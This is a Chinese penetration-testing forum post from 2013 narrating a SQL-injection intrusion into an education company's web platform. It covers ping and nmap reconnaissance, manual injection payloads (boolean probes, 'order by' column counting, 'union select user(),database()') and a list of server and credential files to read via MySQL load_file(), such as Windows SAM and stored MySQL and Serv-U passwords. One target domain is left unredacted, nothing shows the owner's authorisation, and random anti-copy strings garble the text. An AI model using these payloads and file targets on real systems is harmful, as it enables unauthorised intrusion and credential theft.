中国网络渗透测试联盟
标题:
记一次Linux系统PHP注入入侵检测
[打印本页]
作者:
admin
时间:
2013-2-16 22:23
标题:
记一次Linux系统PHP注入入侵检测
题记：
4 Y$ z9 ]2 p3 ^1 z7 x6 b: ^
一位朋友在某教育公司，一套网络教育平台。一年前，在2008年8月份的时候，我看到了这套平台，当时发现了个注入漏洞，测试了一下，得到一个可用帐户后就没有再继续下去。今天7月，又说到此事，我决定继续下去……
0 R- O6 U" r0 _# z( e
第一步：获取需要的信息
* L% Y4 |! V4 D& d! L
由于之前测试过，知道此系统某处存在SQL注入漏洞。但由于时隔一年，岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址，现在需要重新收集服务器有用信息。
( |" a- H8 R, o# f0 M
注：以下为保护特用XXX代替敏感信息
5 K. ?; K3 L1 y# K: a$ p ^
顺手先PING了一下他们的域名：
; ]# k9 \1 G7 x$ w
ping XXX.XXX.XXX.XXX（本文约定：用XXX.XXX.XXX.XXX代表测试IP和域名）
; H$ p7 J0 \; A4 B7 _$ K( ]7 @
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
; V5 t Q& N+ K# A
顺便了解一下TTL，学好基础知识才能一路顺风：
! b- Y+ n: W; S( H5 e
TTL：(Time To Live ) 生存时间
) O& \# A5 n4 z/ {
指定数据包被路由器丢弃之前允许通过的网段数量。
X3 M3 O1 b& X; O+ h9 e
TTL 是由发送主机设置的，以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时，要求路由器至少将 TTL 减小 1。
2 m. k, N3 s3 m
使用PING时涉及到的 ICMP 报文类型
$ M. s% t/ z4 h
一个为ICMP请求回显（ICMP Echo Request）
2 t/ C/ F9 |4 r% v
一个为ICMP回显应答（ICMP Echo Reply）
t2 q3 V- s0 |6 W8 d9 L0 ?
TTL 字段值可以帮助我们识别操作系统类型。
[) \+ q% ?* L9 u6 |8 v
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
% w( W3 N# R* J# k$ G9 {
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
^; w3 M- o2 w$ P- U; [
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
. k6 Y2 U( i+ O3 @" k
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
* i- |& l, p$ p0 O8 G
当然，返回的TTL值是相同的
+ h- z* X1 Z4 n2 T# K# A
但有些情况下有所特殊
. A; V) p2 j& I, n
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
- _5 s' q" e6 I/ W
FreeBSD 4.1, 4.0, 3.4;
7 A- _) P: J: I% b x
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
! O% T( j0 @# Z1 ~. s) m3 ^
OpenBSD 2.6, 2.7,
5 L$ ]6 ~; J- k' r7 m
NetBSD
5 V* ? e- A2 p
HP UX 10.20
' M6 s* z6 N' S( M
ICMP 回显应答的 TTL 字段值为 255
, M# [, S* u1 _3 P; O! ]
Windows 95/98/98SE
1 b2 T' o* o+ \# y
Windows ME
; a. z) q0 k2 k7 l. Q8 t
ICMP 回显应答的 TTL 字段值为 32
5 V' C9 v+ r* }) H" y- K& o, ?
Windows NT4 WRKS
9 a6 h3 U2 e& B5 r& o
Windows NT4 Server
) D# N) N. t9 c" G0 q6 z
Windows 2000
( E& P# X. ^2 h! y* @" `
Windows XP
/ N0 ?% k" J3 y5 T6 P
ICMP 回显应答的 TTL 字段值为 128
D4 d" [' Z8 F6 l0 n( `# a
这样，我们就可以通过这种方法来辨别操作系统
! V+ ?) Y& r( H' u5 ]0 S4 V" [
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值，其数据就是默认的TTL值了，我们可以修改，但不能大于十进制的255
' O6 n# ]8 J6 H" ^2 a
用NMAP扫描一下：
4 {- o. r' e2 A% U
nmap -sT -O XXX.XXX.XXX.XXX
# g c& C2 \" K9 L6 q8 I
如果没有装WinPcap则会弹出提示：
! a" j" ^% z8 B' b$ J# w/ R0 p
WARNING: Could not import all necessary WinPcap functions. You may need to upgr
+ Y3 ?) l7 N6 U: O' a; E& h
ade to version 3.1 or higher from
http://www.winpcap.org.
Resorting to connect(
3 {: d3 N' J! a9 y. x
) mode — Nmap may not function completely
# ? M1 M. z: j, j4 M
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
+ k3 I8 T1 f/ H' ]8 V m) r, Y: {
and iphlpapi.dll be installed. You seem to be missing one or both of these. Win
( ]5 R. s. ~$ x
pcap is available from
http://www.winpcap.org.
iphlpapi.dll comes with Win98 an
X- o5 n( M& C( a ]3 E4 N
d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v
3 L; d( Z0 e8 P5 |- N, e$ Y
ersions, you may be able to take iphlpapi.dll from another system and place it i
' l) ?8 Q, D9 F0 D* }
n your system32 dir (e.g. c:\windows\system32).
' n3 x9 P- A1 B% @1 c2 Z
QUITTING!
# O* Z6 k7 F) y+ \5 S
到这里下载：
http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
" D# o, d4 }) Z- j/ a
安装后继续执行刚才的命令，等待扫描完毕后得到入下信息：
4 Q% X* P2 K( e3 C1 R
Interesting ports on XXX.XXX.XXX.XXX:
2 h" H; `9 K; @, H
Not shown: 986 closed ports
1 t. ]* M- w3 u* n5 p4 A
PORT STATE SERVICE
+ u2 s0 U& l9 H+ p; n6 R( r
21/tcp open ftp
' Y: ]' `7 E1 J$ p4 ]% H
22/tcp open ssh
% W3 @' h2 V" g2 k- ?# K; j
23/tcp open telnet
5 O$ Y2 G+ ]2 C8 x- ]* @* f1 `8 W
80/tcp open http
1 S8 \# ^' T/ ~4 h0 S
111/tcp open rpcbind
+ ^. {3 ^) \- i4 H
135/tcp filtered msrpc
{0 M- p$ J: G/ m
139/tcp filtered netbios-ssn
2 C$ D3 B" q( N: J& h4 M2 D3 {
445/tcp filtered microsoft-ds
2 g e9 c6 t* @
513/tcp open login
. Q% F3 M5 D, k/ R6 k0 \
514/tcp open shell
( g, f' I3 r8 n# U
593/tcp filtered http-rpc-epmap
( N$ \5 P( j# O5 j) a' S
1720/tcp filtered H.323/Q.931
; D. v9 u2 w% D- `
3306/tcp open mysql
$ X0 I- o/ v$ @, A
4444/tcp filtered krb524
: U! k$ O! h5 t( a6 }
Device type: WAP
) R" T5 v$ G; h, J7 |4 j
Running: Linux 2.4.X
& c" g5 A" k8 C$ \! i' |
OS details: DD-WRT (Linux 2.4.35s)
5 M' o2 l* Y' |9 B3 Z# n$ K
Network Distance: 13 hops
' S9 X: W* `8 {) d {8 O3 o& k" O
看到SSH22端口是开着的，打开putty试一下，看是否可以正常连接：
. u# M$ ^: ], K2 I! w$ N
login as:
& P8 I$ C- m: U) r
Telnet23端口也是开着的，用telnet 命令链接一下：
( g; S1 j% N# t) Q
telnet XXX.XXX.XXX.XXX
: K7 Y1 F, X# ?* b; g
提示：
" a. f) m2 w9 t) @
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
0 }- }3 S# i: q% E6 E9 x6 u7 b/ n' V
Kernel 2.6.18-92.el5PAE on an i686
+ B6 k: j5 a2 l4 w& I$ Y6 L
login:
1 u; M' P. Z$ O! w4 }
获取HTTP头信息：
" }% i4 k1 `6 }( j% `
在本地执行如下PHP代码
2 }- V# n! y. C4 V) u4 O
<?php
7 h6 @& E% d3 U5 t" O6 S
$url = ‘XXX.XXX.XXX.XXX’;
, T- a* g, b. i7 C2 ]
print_r(get_headers($url));
( ~+ P& \/ O5 U d3 g7 w
print_r(get_headers($url, 1));
" E2 I3 A+ e1 H' Z, x; Q
?>
; M# Y8 D) n. \+ ~" d$ W V
将以上代码保存为PHP文件，执行：
; H2 v# T1 p$ d' N+ Z4 \
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
3 r) I6 Z5 X, C2 }1 p7 f$ i, A
现在可以得出结论：
" L( V' H: B. ~" x
系统版本：Red Hat Enterprise Linux Server release 5.2 (Tikanga)
" e' I/ M: E+ m* D6 G; Y
内核版本：Kernel 2.6.18-92.el5PAE on an i686
9 D- k/ b7 k+ Q. I' G
WEB服务器版本：nginx/0.7.61
4 N4 H. O. @# c- j4 _7 J' a/ u4 o
第二步，开始测试寻找漏洞
' U( s: n7 X: `; h
分析是否存在注入漏洞，因为上次曾发现存在过，所以注入则是我们的首选。
" T8 o; _% y& n4 x, s- k
1、敏感地址：站内存在有类似：
http://www.fovweb.com/XXX.php?id=123
这种地址，属动态传参的
O: P; ]9 {$ g
2、测试方法：在地址后加 and 1=1 和 and 1=2 测试
" Z& n' }+ I& t. k$ x" S9 z1 }& g
http://www.fovweb.com/XXX.php?id=123
and 1=1 返回正常
y( O* G$ E9 F
http://www.fovweb.com/XXX.php?id=123
and 1=2 返回错误
/ L' |1 {% ` F, K
恭喜，两次返回结果不同，则很有可能存在未过滤敏感字符而存在SQL注入漏洞，我们继续
+ S: y+ x# W% d
3、手工注入：
/ n# M7 f# T, L
注入也应该有个思路，不能随便碰运气，要记住入侵检测不是靠运气而走下去的，要靠的是清晰的思路、过硬的技术、很全的知识面。
m+ X/ e7 |9 o2 k, |
3.1 猜测当前表字段数
- Y* _: h! h0 q) h
http://www.fovweb.com/XXX.php?id=123
and 1=1 order by 10
* s9 H% ]& a+ R0 b! W8 K6 n
此处猜测有个简单的算法，都是有技巧的吗，呵呵
+ ?( @) y3 ]+ T$ ]
算法简单如下：
5 }) U0 f! M5 R4 ^& ~+ v9 h; d
第一步：根据页面信息，大概估算一个数值，这个是要靠一定的经验了；
0 F0 K( L# k6 Y
第二步：取中算法，好比是10，如果返回错误，则取中间值5进行下一次猜测；
$ u1 f; l, h) _6 Q
需要注意：如果所选数值在字段数范围内即小于等于，则会（返回正常）；如果所选数值在字段范围外即大于等于，则会（返回错误）。
, Y7 K' i( ]+ k- B
以此来判断，是否过界，配合取中算法猜出字段数。
) j( h0 \: r p# {. ]' L
举例：
* t+ G! F* x) N. y1 D
http://www.fovweb.com/XXX.php?id=123
and 1=1 order by 3 返回正常
* {: b) w. R0 K" }! n
http://www.fovweb.com/XXX.php?id=123
and 1=1 order by 4 返回错误
( x- ]3 a7 N3 R" F) l
此时3则为我们要找的字段数。
4 `1 F% ^$ s' J E/ I$ Z/ P+ V
3.2 配合union联合查询字段在页面所位置
! ~* k! C' g' C3 d/ i
我们已经知道了字段数为3，此时则可以做如下操作：
; N, ^& X+ ]2 G/ j
http://www.fovweb.com/XXX.php?id=123
and 1=2 union select 1,2,3
; k2 q$ H' ~8 v e
! {) g. t1 K3 D5 B. S( V0 E
这样就可以测试到哪些字段在页面上有所显示了，如图：
# I% W3 }. Q9 a( ]# Z. l
2 ?3 k0 G b- s7 L
3.3 查敏感信息
- i1 G. P# f+ ?1 T2 _
这也是个思路问题，我们需要什么，其实到了这一步已经能做什么多事情了。
6 S, [- A w* D1 m: ?) U
http://www.fovweb.com/XXX.php?id=123
and 1=2 union select 1,user(),database()
3 I' }; u! F7 L. z% O- W
3.3.1 先查数据库用户、数据库名，以备后用，如图：
9 G7 H7 h. K1 S1 f$ U
3 X4 X. K @7 O% i; P
得到数据库用户为root、数据库名为DBxx；
; B, ^* F% |5 o! z7 Q3 Z Z: j
3.3.2 查配置文件
2 \& Z/ I! I1 o4 V; w) q! J0 ?
查配置文件，就是指查看系统敏感的文件，如web服务器配置文件等。
+ R7 ^) _( ` @( _& M
查看文件有一定的条件限制：
5 s; c6 S5 f; Z7 ?# ~. j
欲读取文件必须在服务器上
3 ~; D/ _: ~6 S5 E4 w" ~. ?
必须指定文件完整的路径
* u2 C9 k, d& t% }/ g
必须有权限读取并且文件必须完全可读
$ F$ W: ^6 V" t) N! U
欲读取文件必须小于 max_allowed_packet
% |1 v* k& x; `% q) ^# [
MYSQL注入中，load_file()函数在获得webshell以及提权过程中起着十分重要的作用，常被用来读取各种配置文件。
2 y' ]& T, Y1 _+ x( }& S
常用的一些：
! k: ?, `! z0 k6 {- D
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
# K- O9 i/ Y5 ]7 ~7 M2 B7 q
/usr/local/apache2/conf/httpd.conf
( @6 u1 E' n$ ]
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
- h* D+ O) q' q1 W: `3 b4 `
/usr/local/app/php5/lib/php.ini //PHP相关设置
H ?0 y3 W$ }7 Z
/etc/sysconfig/iptables //从中得到防火墙规则策略
- d+ m8 ?) L& ?8 G
/etc/httpd/conf/httpd.conf // apache配置文件
- ~% d8 |3 `1 W! z
/etc/rsyncd.conf //同步程序配置文件
3 S3 i% J1 h, \ M, a3 i
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
% Q. ~, J7 B# _9 F |& [6 H( K7 a
/etc/my.cnf //mysql的配置文件
2 Y0 Y5 B4 c* v
/etc/redhat-release //系统版本
) y( s: y/ o9 S
/etc/issue
2 k3 X% o3 V1 Y' K( d' p
/etc/issue.net
' s& F4 K8 A7 x# J9 D6 A- K* M
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
# x! h: k! A: n- j
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
8 \8 u8 {" {2 ~* `& v9 \; d' E
c:\Program Files\Serv-U\ServUDaemon.ini
, ]( f+ y5 s1 {5 ? ^2 w
c:\windows\my.ini //MYSQL配置文件
! l5 i/ U; ^, K& Z5 h2 ^0 _' Z; o
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
# u4 r- Z+ B) t- u) p
等等。实际上，load_file()的作用不止于此，它还可以用来读取系统中的二进制文件，
! F' T, b/ l* k: w3 [& _: I: N% A" s: b, k
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
- v5 Y3 J) Y% H) k; r
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
6 N) Z) Q& M3 ^; f3 I7 l
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
! s, m7 b! q7 m: V
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
: r& P0 b. Y' [3 S
//存储了pcAnywhere的登陆密码
2 _# O& Z5 Q8 }, g" Q: F3 X% l# `
由于之前得到信息，此台服务器是采用的nginx做的Web服务器，那我们就来试着找一下nginx的安装路径吧。
) f6 `; {8 p# U5 i
这个没有技术性可言，纯靠经验和运气，由于很少用nginx不了解，我就先到网上搜索常用的安装路径，以及比较好的配置文档中的安装路径进行测试，最终，得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
p, h! z% ^7 e, F7 r# u5 D# N
最后：防范措施
. z- w4 `! \0 a: Z" d
1、修复PHP注入漏洞；
* P. D' P( ~+ Q: k
2、Mysql使用普通权限的用户；
9 n0 J+ C' Z- L, C6 A+ S- a. s( t
3、升级linux内核至最新版本；
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2